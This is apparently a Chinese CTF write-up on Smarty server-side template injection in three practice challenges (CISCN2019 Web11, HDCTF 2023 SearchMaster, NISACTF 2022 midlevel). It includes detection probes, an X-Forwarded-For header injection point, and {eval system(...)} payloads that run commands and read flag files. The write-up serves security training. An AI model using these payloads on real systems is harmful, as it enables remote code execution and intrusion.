CTF题型 SSTI(3) Smart SSTI 例题和题记

前面我们学习了Flask SSTI

Smart SSTI和Flask SSTI 不同

Smart SSTI 是基于php的,居然可以在其中直接执行任意的php代码

参考 Smart中文手册 https://www.smarty.net/docs/zh_CN/

这里我们用 https://www.smarty.net/docs/zh_CN/language.function.eval.tpl#id456693

标签{eval}执行任意php代码

特征

如何判断 SSTI模板注入的类型

image-20240314142839888

1.${7*7}

2.a{*test*}b

1.[CISCN2019 华东南赛区]Web11

buuctf上有环境

image-20240314141501813

页面暗示我们 Build With Smarty

考虑 Smart SSTI 漏洞

整个页面都是 IP 注入点可能是请求头X-Forwarded-For 可以测试一下

image-20240314141633863

判断是Smart 1.${7*7}

image-20240314143029036

2.a{*test*}b

image-20240314143128307

确实是 Smart漏洞

image-20240314143533872

{eval phpinfo()} 注意这里没用分号闭合

{eval system('cat /flag')}

在源码中可以找到flag

image-20240314144634100

2.[HDCTF 2023]SearchMaster

环境:https://www.nssctf.cn/problem/3785

image-20240314145728734

image-20240314145900541

可以判断为Smart SSTI注入

{eval system('cat /f*')}

image-20240314150118555

3.[NISACTF 2022]midlevel

环境 https://www.nssctf.cn/problem/2023

和[CISCN2019 华东南赛区]Web11 一模一样

可以练习一下熟练度